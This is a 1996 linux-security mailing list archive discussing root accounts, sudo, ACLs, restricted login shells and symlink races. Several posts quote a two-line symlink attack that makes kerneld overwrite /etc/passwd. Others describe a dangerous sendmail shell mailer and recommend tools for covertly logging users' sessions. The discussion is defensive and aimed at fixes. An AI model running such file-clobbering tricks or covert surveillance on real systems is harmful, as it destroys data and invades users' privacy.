me. This not only helps notify you of problems without logging in as root, but eliminates the possibility of a mail bomb being executed as root. I think the safest way to use the root account is to log in as a regular user, and su to root only as necessary. I play netrek and see users connecting from root accounts. This is probably just as bad as using IRC as root. Renegade -- // mailto:[email protected] // http://www.dnaco.net/~renegade/ From [email protected] Sun Jun 16 14:41:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA00137; Sun, 16 Jun 1996 14:41:28 -0400 Date: Thu, 13 Jun 1996 00:37:49 -0400 (EDT) From: Brian Davidson X-Sender: [email protected] To: Woody Weaver Cc: [email protected] Subject: Re: [linux-security] Admin note (recent traffic surge). In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 11 Jun 1996, Woody Weaver wrote: > I have one question about uid 0 accounts. Of course one wants to give > minimum permissions to accounts, and the more uid 0 passwords floating > around the more risks one takes. Generally, the "all the eggs in one > basket and watch that basket very closely" is a good idea. However, > as one author noted, if you permit a novice to su and do work, there > is a possibility that they might do something that prevents normal use > of the system, such as accidentally changing the root password. How effective is sudo in situations like this? That can give certain users rights to run a limited set of programs as root. I've got sudo rights on a few systems, and can't crash the system, or do anything super fancy with the limited set of commands that I've been given. I've wondered for a while about how secure sudo really is. I realize that allowing a user to run a program that can escape to a shell would defeat this program. Well selected programs seem to be pretty secure though (I think... I haven't dug around the code yet, though). > My solution, of course, is just to have a separate boot media handy; > given that I'm running linux on a PC, its easy to boot off of floppy > and mount the main file system on a convenient mount point -- physical > security beats software security. But some linux boxes may be in > inconvient locations, or be hardware modified as to be unable to boot > from floppy. > It is reasonable to have two uid 0 accounts? The idea is to minimize > risk but not permit single points of failure. The downside, of > course, is that with both "root" and "tuber" things like ftp or nfs > access to tuber do not have built in protection as it does against > root, so ideally one would have to patch daemons to recognize both > accounts as special (or get the authors to protect against uid 0 > accounts rather than a specific username). I don't see why 2 uid 0 accounts are necessary. Various security schemes have been dreamed up in the past which split the sensitve security areas into the control of different "users". The problem is, if I can get into the one that controls the memory, then I can change all of my permissions (if that info is loaded into memory), and do whatever I want anyway. If I just can hack the part to let me access the drives, then I can patch the kernel, so next time it boots I've got back doors, etc. Because of this, I think that 1 account which you guard very well is the best solution. One account is hard enough to keep an eye on, anyway. __________________________ Brian Davidson [email protected] http://mason.gmu.edu/~bdavids1 From [email protected] Sun Jun 16 14:47:08 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA00177; Sun, 16 Jun 1996 14:47:08 -0400 Date: Thu, 13 Jun 1996 08:36:33 -0500 From: [email protected] (Paul McNabb) Message-Id: <[email protected]> To: [email protected] Subject: Re: [linux-security] standard users,groups,perms? Sender: [email protected] Precedence: list > Date: Tue, 11 Jun 1996 23:44:28 -0400 (EDT) > From: Sanjay Kapur > > On Tue, 11 Jun 1996, Rogier Wolff wrote: > > > To do this, every uid should get > > a bitvector of privileges. Every "suser()" call in the > > kernel should get mapped to one of the bits. The default > > setup sets all of these bits to "enabled" for "root" and > > "disabled" for all other users. > > > > A secure setup would deminish the vector for "root"(?) and increase > > it for other users. (e.g. the "bind to low ports" bit and the > > "change uid to normal uids" bit should be on for "sendmail" > > running as user "mailerdeamon") The login program only needs > > change_uid (even to root? Maybe not. Abolish root logins!) > > [Mod: Quoting trimmed. --Jeff] > > VMS, Secure VMS etc. have this and it is very well documented. Another > thing that higher level security requires is Access Control Lists (ACLs) > rather than the very simplistic user/group/world security model of Unix. You can do exactly the same thing with Solaris 2.4/5. User ID 0 can be a regular user with no special characteristics at all. All of the normal root privileges can be split up and assigned to programs rather than to a user, and then limited access can be given to the programs. There are attributes you can assign to a Java-enabled browser so that even if you are running it as root (on standard Solaris 2.4/5) and the applets can issue any system call sequence, you can still protect any file system object. There are all kinds of this security out there, people just have to know about it and be willing to use it. paul ------------------------------------------------------------ Paul McNabb [email protected] Argus Systems Group, Inc. TEL 217-384-6300 1405A East Florida Avenue FAX 217-384-6404 Urbana, IL 61801 USA ------------------------------------------------------------ From [email protected] Sun Jun 16 14:48:49 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA00193; Sun, 16 Jun 1996 14:48:49 -0400 Date: Thu, 13 Jun 1996 13:21:38 -0400 (EDT) From: N D Ghaznavi X-Sender: [email protected] To: Woody Weaver cc: [email protected] Subject: Re: [linux-security] Admin note (recent traffic surge). In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 11 Jun 1996, Woody Weaver wrote: > My solution, of course, is just to have a separate boot media handy; > given that I'm running linux on a PC, its easy to boot off of floppy > and mount the main file system on a convenient mount point -- physical > security beats software security. But some linux boxes may be in > inconvient locations, or be hardware modified as to be unable to boot > from floppy. A slightly more robust alternative is to have a small partition with a mini linux system on it. That way if you lose root access on the main system you boot into the minisystem using LILO (it's *not* the default kernel image), login as root using the root password, mount the main partition and fix whatever it is you need to (eg, blank out the root passwd entry in /etc/passwd), and then reboot into the main system. Yeah, it requires physical access, but that's a measure of security too. Don't be fooled into complacency though, 'cause someone could edit your lilo.conf, run lilo and reboot into this system remotely too. I.e. make sure it's a good root password on the backup mini system. I've been using this setup for quite some time now, with no complaints. It's also saved me considerable grief a couple of times (i.e. boot disks hassles etc etc you know the drill...). [Mod: Quoting trimmed. --Jeff.] From [email protected] Sun Jun 16 14:54:25 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA00240; Sun, 16 Jun 1996 14:54:25 -0400 Date: Sun, 16 Jun 1996 14:52:47 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: [linux-security] Thread regarding ~root. X-Zippy: HUGH BEAUMONT died in 1982!! X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- I'm now "squashing" this thread on the location, contents, etc., of ~root under Linux: I won't be forwarding any more posts that are solely related to this topic; some of the posts are getting repetitive and I've had a couple of private e-mail requests now to wrap this thing up. Thanks for your patience! - --Up. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface iQCVAwUBMcRX+noDqzGe1QXFAQHkTAQAhj5QM6XvMy1mGM5SQSxxW8OPdjND9vTu 0ljdqzhv7VwvdvAhvg5gKxjcBBo0qo+JbEIv2JPqwMgzMHxfpAgYUTYIJ3P+FEZR n3MIRdWcZlRC6fbFUH7mg8fNXJ0jORDHMCV9MBZTPHveEovhQHo4xvcCrGMQ1Cjq HoM7pOMrWls= =C3u3 -----END PGP SIGNATURE----- -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ From [email protected] Sun Jun 16 14:57:52 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA00265; Sun, 16 Jun 1996 14:57:52 -0400 Date: Thu, 13 Jun 1996 17:28:28 -0400 (EDT) From: Mark Whitis To: [email protected] cc: [email protected], [email protected] Subject: Re: [linux-security] Big security hole in kerneld's request_route In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 12 Jun 1996 [email protected] wrote: > you $ ln -s /etc/passwd /tmp/request-route > you$ ping 204.251.80.30 Given that we have had multiple reports of security holes related to symbolic links in publicly writeable directories, it might be time to consider a kernel patch which would allow us to set a flag on a directory which: - prevents creation of symbolic links (except, perhaps, to files which already exist and are owned by the owner of the link) except by root or some specified group. - propagates to all directories created under that directory. It could also be implemented via some list of protected trees: /etc/nosymlinks: /tmp /var/tmp But this would probably be much harder to implement, particularly correctly, than a flag on a directory. Another alternative, since permission bits may be limited, is to create a special group "nosymlink" and make the directories in question owned by that group and have the kernel setup to provide the restrictions listed above (including propagation) PLUS prevent the owner from setting the setgid bit or changing the group. This could interfere with file transfer from one user to another through tmp unless they made it world writable. Another method would be to create a mount option "nosymlinks", similar to "nosuid", and put your publicly writeable filesystems there. The best method would be to incorporate the feature into the ACL mechanism when it gets here. --------------------------------------------------------------------------- --- Mark Whitis WWW: http://www.dbd.com/~whitis/ --- --- 428-B Moseley Drive; Charlottesville, VA 22903 804-962-4268 --- --------------------------------------------------------------------------- From [email protected] Sun Jun 16 15:01:40 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id PAA00291; Sun, 16 Jun 1996 15:01:40 -0400 From: [email protected] (Remy Card) Message-Id: <[email protected]> Subject: Re: [linux-security] standard users,groups,perms? To: [email protected] (Rogier Wolff) Date: Fri, 14 Jun 1996 05:53:03 +0200 (MET DST) Cc: [email protected], [email protected], [email protected] In-Reply-To: <[email protected]> from Rogier Wolff at "Jun 12, 96 09:37:16 am" X-Mailer: ELM [version 2.4ME+ PL19 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1008 Sender: [email protected] Precedence: list Rogier Wolff wrote: > Agreed. Is Remi Card on this list? We should try to push him to > implement ACLs finally... (Or was I at the north pole while it was > implemented :-) Yep. I am on this list, but I don't read it very often: I tend to keep mails from some lists and to read them ``in batch mode'' when I have enough time. > [Mod: Remy's not on this list (that I know of, though he might be on it > via a secondary exploder), Well, I use a kind of secondary exploder (actually a local alias that is subscribed to the list). > but he is working in this direction. See > linux.nrao.edu:/pub/linux/packages/ext2fs/slides/berlin96/acl-* > (mirrored from tsx-11) for a brief outline of his current ACL work. > --Jeff.] Right. I have a prototype that currently crashes^H^H^H^H^H^H^Hruns on my machine. A test release should be available at the end of june, and will be announced on the linux-kernel mailing list. I'll try to remember to send an announcement to the security lists as well. Remt linux-security/linux-security.960617100664 1767 1767 63072 6161274172 16665 0ustar majdommajdomFrom [email protected] Mon Jun 17 09:21:37 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA07634; Mon, 17 Jun 1996 09:21:37 -0400 Date: Thu, 13 Jun 96 17:15:12 EDT Message-Id: <[email protected]> From: Peter Orbaek To: [email protected] Cc: [email protected] In-Reply-To: <[email protected]> ([email protected]) Subject: Re: [linux-security] suspicious users Sender: [email protected] Precedence: list >I am becoming suspicious of some users on my system. I am wondering what is >the best way to watch what they do or have done. >What have you (the members of list) done to "babysit" these users. Things I, and others, have been doing on Suns and other platforms: - Hack their shell to log certain users' commands via syslog() or to a special hidden file. It's actually quite useful to have such shells installed all the time and be able to turn on snooping for certain users in some config file. - Use telnetsnoopd if they are coming in over telnet, this will allow logging of their entire session. I've sometimes heard of problems with telnetsnoopd: that it may sit around buring CPU time to no good use, so be careful. - Hacking telnet to log everything for specific users, this is useful if you're not running telnetsnoopd and you're suspecting that a user is hacking other systems. - Periodic 'rsh ps' dumps of the user's processes. - Periodic remote screendumps using the sunos screendump facility. - Use tcpdump or snoop (Solaris) to dump eg. all telnet packets going from/to a certain host. This can generate a LOT of data. With linux you could also hack the kernel to log output to certain tty's somewhere, maybe this is already possible? Add a couple of ioctl calls to the tty driver to set dumping conditions and where to dump the stuff. Does Linux support process logging these days? Of course, all of this should be done only be people wearing white hats! Your users will hate you if you do this without proper cause. If you're a commercial access provider, it would be advisable to tell your users up front that you can and will eavesdrop on them if you suspect foul play. - Peter. From [email protected] Mon Jun 17 09:30:15 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA07707; Mon, 17 Jun 1996 09:30:15 -0400 Date: Thu, 13 Jun 1996 18:49:53 -0500 (CDT) From: "Edward S. Marshall" To: "Douglas F. Elznic" cc: [email protected] Subject: Re: [linux-security] suspicious users In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sat, 8 Jun 1996, Douglas F. Elznic wrote: > I am becoming suspicious of some users on my system. I am wondering what is > the best way to watch what they do or have done. > What have you (the members of list) done to "babysit" these users. An old package I used to play with that came with an ancient Slackware distribution was called "telnetsnoop". I haven't seen it since then, but it allowed you to monitor everything that the remote user saw and typed. I'd check into the legalities of running such a thing on your system, however; it could vary from place to place. Also, keep an eye on your logs. You'll see failed su attempts there, along with many other things which might lend a hand to finding out what they're up to. As well, you can enable logging of some services (wu.ftpd, for example, allows for very verbose logging) which will give you more data to operate on. -- .-----------------------------------------------------------------------------. | Edward S. Marshall | CII Technical Administrator, | | http://www.common.net/~emarshal/ | Vice-President, Common Internet | | Finger for PGP public key. | Inc, and Linux & LPmud (ab)user. | `-----------------------------------------------------------------------------' From [email protected] Mon Jun 17 09:30:27 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA07723; Mon, 17 Jun 1996 09:30:27 -0400 Date: Thu, 13 Jun 1996 16:12:48 -0400 (EDT) From: "Mario D. Santana" To: "Douglas F. Elznic" cc: [email protected] Subject: Re: [linux-security] suspicious users In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Sounds like you need to look into ttysnoops. I use it, it works. ftp.inbe.net:/pub/staff/carl Use ethically, .dave Douglas F. Elznic wrote: > I am becoming suspicious of some users on my system. I am wondering what is > the best way to watch what they do or have done. > What have you (the members of list) done to "babysit" these users. From [email protected] Mon Jun 17 09:31:07 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA07739; Mon, 17 Jun 1996 09:31:07 -0400 Date: Thu, 13 Jun 1996 22:56:24 -0400 (EDT) From: "/* (c) 1996 dMv */" To: Jacques Gelinas cc: [email protected], [email protected] Subject: Re: [linux-security] Re: Big security hole in kerneld's request_route In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 13 Jun 1996, Jacques Gelinas wrote: > > As it appears, it is possible to destroy system philes (such as /etc/passwd > > and so on). > > The path should be changed to /var/run/request-route.pid Just to start another 'religious' holy war, why isn't it a policy to use a priveledged tmp location for priveledged processes. Seems to me like this is a security issue with a bunch of programs that are necessarily powerful (you'll all recall the XFree86 tempfile problem, etc) We really should try and make it a policy to have 'special' temp files be in a dir like /var/tmp/, and let standard users use /tmp/... Reactions? dMv From [email protected] Mon Jun 17 09:36:45 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA07766; Mon, 17 Jun 1996 09:36:45 -0400 Date: Fri, 14 Jun 1996 13:34:36 +0200 Message-Id: <[email protected]> From: Benedikt Stockebrand To: [email protected], [email protected] In-reply-to: <[email protected]> ([email protected]) Subject: Re: [linux-security] suspicious users Sender: [email protected] Precedence: list Aside from Als suggestions I recommend to take a look at their files, especially executables, and their command history. I hope you're realizing about your users privacy, so you better don't do this ``just in case''. Otherwise it might well backfire. Ben -- Benedikt (Ben) Stockebrand Runaway ping.de sysadmin Dortmund, Germany --- Never ever trust old friends --- My name and email address are not to be added to any list used for the purpose of advertising. By sending unsolicited advertisement e-mail to this address, the sender implicitly agrees to pay a DM 500 fee to the recipient for proofreading services. [Mod: There have been several more posts recommending things like ttysnoop, telnetsnoop, etc. I only approved the first few. --Jeff.] From [email protected] Mon Jun 17 09:38:17 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA07784; Mon, 17 Jun 1996 09:38:17 -0400 From: [email protected] (JaDe) Message-Id: <[email protected]> Subject: Re: [linux-security] Admin note (recent traffic surge). To: [email protected] (Woody Weaver) Date: Fri, 14 Jun 1996 16:00:53 -0700 (PDT) Cc: [email protected] In-Reply-To: from "Woody Weaver" at Jun 11, 96 02:59:00 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 3028 Sender: [email protected] Precedence: list > I have one question about uid 0 accounts. Of course one wants to give > minimum permissions to accounts, and the more uid 0 passwords floating > around the more risks one takes. Generally, the "all the eggs in one > basket and watch that basket very closely" is a good idea. However, > as one author noted, if you permit a novice to su and do work, there > is a possibility that they might do something that prevents normal use > of the system, such as accidentally changing the root password. > I recommend two root accounts (root and 'toor' or 'ruut' or whatever). The one root account is "normal" and used by all who need root access. The other gets a random string as a password -- this is hand written onto paper after being generated and the paper is sealed in a "security" envelope and locked in a safe (i.e. forget about it until "normal" root's account is dead). For the other one I suggest that only *one* person (the primary admin) has the real password. Everyone else that needs root access uses 'sudo su -' (they use *their own* password to become root). Wherever possible these other administrators actually aren't even allowed a direct root shell -- they execute sudo scripts that just provide them access to the commands that they really need (add.a.user, change.a.passwd, edit.aliases, etc). The advantages to this approach are in accountability. Each use of any root shell or script by any of the admins is logged (preferably to a remote, more secure machine). By having sudo in place -- and by examining the logs of usage (all su shell sessions should be running 'script') you can incrementally tighten up the security (by identifying what your admin team is *really doing* as root and scripting each part of it as possible). The sad reality of administering a multi-user Unix host (as opposed to a workstation, or a server) is that there are too many administrative tasks with require root access for which is *should* be possible to delegate to trusted admins. (This happens to a lesser degree in Netware and to an even greater degree in NT and probably in varying degrees in other systems). 'sudo' is no panacea (any scripts you write are subject to the same potential bugs as an SUID script) the main advantages are that you limit who uses the script (without a *shared* password), and you get logging for free. I've set up certain "psuedo accounts" (like the 'mlist' "Mail List Manager" and 'postgres' "Postgres DB Admin") with a '*' password and configured the system to only allow 'sudo su - ... ' to access those accounts. I've even considered making the 'root' password '*' and using the same technique (been to busy/timid to try that yet). Does anyone know of potential problems with this approach? Does anyone on this list have suggestions or caveats for those of us that are still learning 'sudo'? Can anyone offer us some reasonable alternatives for delegating/distributing *limited* administrative functions? From [email protected] Mon Jun 17 09:44:01 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA07906; Mon, 17 Jun 1996 09:44:01 -0400 From: Zefram Message-Id: <[email protected]> Subject: Re: [linux-security] Talk security? To: [email protected] Date: Mon, 17 Jun 1996 00:22:28 +0100 (BST) Cc: [email protected] In-Reply-To: from "Justin Dobbs" at Jun 12, 96 10:00:31 pm X-Loop: [email protected] X-Stardate: [-31]7669.86 X-US-Congress: Moronic fuckers MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 4867 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- >Are there any security holes associated with making the talk >program the shell of a potentially public account? The >shell would be /usr/bin/talk , with /usr/bin/talk >listed in the /etc/shells file. Is there a potential for >environment-style breakins? Certainly. I wouldn't take the risk, myself -- there are several possible avenues of attack. I think this question illustrates some fundamental security issues, so I'll talk in general terms here. Whatever program you use as the login shell of a restricted account must fulfill certain criteria. It will execute in an environment (in the broad sense of the word) over which potentially malicious people have some control. The program must not perform any action the administrator does not want these potentially malicious people to be able to perform. To put it more bluntly, this program is more privileged than the user -- it has the capability, from the OS's point of view, to do things that the user should not be allowed to do. In this way, the program is in a similar position to being setuid, and a lot of the practical issues are the same. Allow me to contrast this with the majority of programs. Most programs have no special privilege, and the limits on their actions -- conceptually equal to the limits on whoever is running them -- are enforced by the OS in the normal way. Privileged programs must be written very carefully, because the OS will allow them to do more than their invoker is allowed to do. Given that the program in question is to be privileged, the fact that *it was never intended to be secure* is a serious problem. When a program is put into this privileged position, you must examine its source, line by line, to make sure it cannot do anything other than what it was intended to do. A simple garbaged pointer bug could allow the program to leak privileges. And make absolutely sure that what it does is exactly what you *want* it to do -- an undocumented feature might, cleanly and intentionally, invoke a shell, for example. It is always easier to make a program secure in this sense when one is writing it from scratch, with the intention that it be privileged, than when one is faced with an existing program that does what one wants to do in a privileged position. I must say that, if faced with this particular problem, I would rather rewrite the program from scratch than review the existing code. To take the classic example of this type of problem, /bin/{true,false} on many systems are shell scripts, and are also used as login shells to lock accounts. Being shell scripts is not a problem when the programs are unprivileged (though it's inefficient and in rare cases can cause them to misbehave), but when put in a privileged situation they give away that privilege all too easily. I've taken advantage of this security hole on one system, su-ing to a restricted account whose login shell was a shell script. (That particular shell script has now been replaced by a binary.) On *my* box, true and false are binaries -- less than 100 bytes each (Linux a.out) -- and *completely* ignore the environment they are run in. On a separate issue, you mentioned putting this program into /etc/shells. This is a very bad idea, for a number of reasons. Basically, /etc/shells is a list of programs used as shells for *unrestricted* accounts, and should *never* contain any program you intend to use as the shell of a restricted account. /etc/shells is used by several programs as a way to determine whether an account is restricted or not -- this is a nice engineering compromise, typical of Unix -- and adding the shell of a restricted account to it will result in these programs giving the restricted account more access than intended. I have seen systems that misused /etc/shells in this way, and I've even taken advantage of the resulting security holes to a small extent. The most obvious thing /etc/shells is used for is nonymous ftp. You probably don't want to allow ftp access to this account. If you do, things get a lot more complicated. But don't forget that it's used by other programs too; for example, GNU su (a security hole in itself, for obvious reasons) allows the user to run an arbitrary program instead of the target user's login shell, if the target user is an unrestricted account (login shell in /etc/shells). So, to summarise, *don't* put an insecure program in a privileged position, and *don't* list a restricted shell as unrestricted. -zefram -----BEGIN PGP SIGNATURE----- Version: 2.6.i iQCVAgUBMcSXBHD/+HJTpU/hAQGe5QQApcYGEE9L76oKaER3lkQZgCLO9suC/7KO Z+f+SjqPGF43qzLuzQ2P4CrNAIO6O3M5g50glShgCiNk7UgVl8VyfHVQDaD9AtU3 0CizdH1oV254DUgRxcVGKpf8DWvCOvqB9G8YLiQazBv8SX+25Gv6ir+Jrb6whPkY wZQHYPfYJNA= =1AJp -----END PGP SIGNATURE----- -- Andrew Main From [email protected] Mon Jun 17 09:46:32 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA07938; Mon, 17 Jun 1996 09:46:32 -0400 Date: Sun, 16 Jun 1996 15:52:33 -0700 Message-Id: <[email protected]> From: Vaughn Skinner To: [email protected] CC: [email protected] In-reply-to: (message from Richard Jones on Thu, 6 Jun 1996 09:20:20 -0400 (EDT)) Subject: Re: [linux-security] wu.ftp, ftpaccess, and /bin/false shell Sender: [email protected] Precedence: list This is not a linux-security issue. [Mod: Agreed--I forwarded it anyway, mainly because this issue is of potential interest to a large number of Linux users. --Jeff.] I'm trying to use the wu.ftp ftpaccess file to setup a guestgroup whereby users with listings in the /etc/passwd file can upload to certain sections of a Linux-based web site. However, I'd like to deny these people telnet access. In ftpaccess I use the line: guestgroup ftponly ftponly is defined as a group in /etc/group and its users have /etc/passwd entries that look like: ftponlyuser1:sladfkj:12:324:FTP ONLY:/usr/ftp/./user1s_ftp_dir/:bin/false This is straight out of O'Reilly's Managing Internet Info. Services. This doesn't work for me, though. With a shell set to /bin/false a user is not allowed to ftp login. Is this a Linux thing? The user can ftp login with /bin/bash or some other viable shell, but this opens up telnet ability to the user (I can't use /etc/hosts.deny because it's too coarse). Any insights into this situation, or other ideas on how to achieve full ftp access with no telnet access is greatly appreciated. This should do what you are trying to do: Copy /bin/false to /bin/noshell. Add a line in /etc/shells (so that /bin/noshell is a valid shell so ftp will accept it): /bin/noshell Change the shell in the passwd example above to /bin/noshell vaughn From [email protected] Mon Jun 17 10:03:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id KAA08170; Mon, 17 Jun 1996 10:03:12 -0400 Date: Sun, 16 Jun 1996 22:13:17 -0500 (CDT) From: Michael Brennen To: Renegade cc: [email protected] Subject: Re: [linux-security] standard users,groups,perms? In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 13 Jun 1996, Renegade wrote: > I would have to agree. But I would like to point out at least > one thing that can be done for root mail security. Many sendmail > implementations have a dangerous default setup that amounts to a line > like this in the sendmail.cf file: > > Mprog, P=/bin/sh, F=lsDFMeu, S=10, R=20/40, D=$z:/, > > Basically if a e-mail message begins like a sh shell script > with a first line of: > > #!/bin/sh [...clip...] 8.7.* sendmails fix this, as well as some of the later 8.6 series. Another alternative is to install smrsh as the shell that executes programs. This allows a much tighter environment. smrsh comes with the 8.7 distribution, though it is not really a formal part of sendmail. -- Michael From [email protected] Mon Jun 17 10:08:19 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id KAA08253; Mon, 17 Jun 1996 10:08:19 -0400 Message-Id: <[email protected]> Subject: [linux-security] Disabeling symlinks? No! don't write to /tmp! To: [email protected] Date: Mon, 17 Jun 1996 10:14:00 +0200 (METDST) From: [email protected] (Rogier Wolff) X-Return-Receipt-To: [email protected] X-Priority: 1 X-Mailer: ELM [version 2.4 PL25] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1908 Sender: [email protected] Precedence: list > On Wed, 12 Jun 1996 [email protected] wrote: > > > you $ ln -s /etc/passwd /tmp/request-route > > you$ ping 204.251.80.30 > > Given that we have had multiple reports of security holes related > to symbolic links in publicly writeable directories, it might > be time to consider a kernel patch which would allow us to set > a flag on a directory which: Reasonable. However, the main point is not that symlinks are dangerous (they are just one way to exploit the root of the problem), the dangerous part is that a process with root-priviliges is writing to a publicly writable directory. The correct way to improve security in this case would be to define a directory e.g. "/stmp" which is a directory that should be used by all programs that need temp files, whenever they have root-priviliges. so opening a tempfile should be: fp = fopen ("/stmp/my_temp_file"); if (!fp) fp = fopen ("/tmp/my_temp_file"); If the first fopen succeeds, we are priviliged, and should use the /stmp directory. (whenever acl's or the like are implemented, programs that now require a setgid bit may be added to the list of programs that are allowed to write to /stmp to increase security even further) Roger. -- ** Q: What's the difference between MicroSoft Windows and a virus? ** ** A: Apart from the fact that virusses install easier, none. ** ** EMail: [email protected] * Tel +31-15-2783643 or +31-15-2137459 ** *** my own homepage *** From [email protected] Mon Jun 17 11:23:20 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA09529; Mon, 17 Jun 1996 11:23:20 -0400 Message-Id: <[email protected]> From: [email protected] (Craig Woodward) Date: Mon, 17 Jun 1996 10:35:54 -0400 X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: Mark Whitis , [email protected] Subject: [linux-security] Symlinks as holes (Was: Big security hole in kerneld's request_route) Cc: [email protected] Sender: [email protected] Precedence: list >On Wed, 12 Jun 1996 [email protected] wrote: > >> you $ ln -s /etc/passwd /tmp/request-route >> you$ ping 204.251.80.30 > >Given that we have had multiple reports of security holes related >to symbolic links in publicly writeable directories, it might >be time to consider a kernel patch which would allow us to set >a flag on a directory which: > - prevents creation of symbolic links (except, perhaps, > to files which already exist and are owned by the > owner of the link) except by root or some specified > group. > - propagates to all directories created under that directory. > >Another method would be to create a mount option "nosymlinks", similar >to "nosuid", and put your publicly writeable filesystems there. While I would love to have the ACL method work under Linux, I'm not holding my breath. I love ACLs under VMS (about the only thing I love about it...), but don't think Linux will have it any time soon. My soultion to the symbolic link mess was to hack the xiafs driver (as a module) to no have the capacity to sym-link. Then I mount one small partition as xiafs, under /secure, and symlink things I want in that arena into /secure (ie /tmp is a link to /secure/tmp). This defeats about 90% of the sym-link bugs. Race condition bugs are still there, but at least this fixes most of them. -Woody From [email protected] Mon Jun 17 11:23:37 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA09546; Mon, 17 Jun 1996 11:23:37 -0400 Message-Id: Date: Mon, 17 Jun 96 15:50 BST From: [email protected] (Alan Cox) To: [email protected] Subject: [linux-security] /bin/false Sender: [email protected] Precedence: list If your "false" is a shell script DONT use it as /bin/noshell (consider the ENV= bash attach, SHELL=something-funky and su etc) Alan linux-security/linux-security.960619100664 1767 1767 47163 6162040013 16654 0ustar majdommajdomFrom [email protected] Wed Jun 19 13:39:51 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA06326; Wed, 19 Jun 1996 13:39:51 -0400 Date: Mon, 17 Jun 1996 22:07:13 -0400 (EDT) From: Mark Whitis To: [email protected] cc: [email protected] Subject: Re: [linux-security] Big security hole in kerneld's request_route In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sun, 16 Jun 1996, John Henders wrote: > Would it not be simpler to forbid linking to files that you don't have > write permission to? Allowing this seems to me to be very little > practical use except for use in various exploits. Is there a legitimate > use for this? This would be more likely to break things in the real world while still provided far less security than the techniques I was proposing which would only affect creation of files in selected public directories. [Mod: Does anyone have the POSIX spec's on symlinks handy? I'm guessing that the behavior John Henders suggested would be non-compliant as well, but I don't have the correct publication on hand to authoritatively verify my suspicions. --Jeff.] There are many situations where you might want to have symbolic links to files you only have read permission to. A few examples: - ~/bin/ps --> /usr/ucb/ps You have, say, a path that places system V versions first but you want to have the ucb version of ps. - ~/.profile --> /local/rc/default/profile You symlink, rather than copy, the default profile to users directories. Of course, this may confuse users, but it lets you update the default profile and have all uncustomized profiles automatically updated. (There are better ways to do this...). - ~/bin/more --> /usr/bin/less Could also be done with an alias, unless you are in /bin/sh. - ~/src/foo/readline --> /local/src/readline You wish to reference one package, which you do not maintain, from within the directory tree of another package you maintain using relative directory names. None of these examples are terribly compelling but my suspicion is that it is fairly common to link to directories or files you do not have read access to and that doing this would break many things. Root definitely should have the ability to create symbolic links to files which root does not have write access to 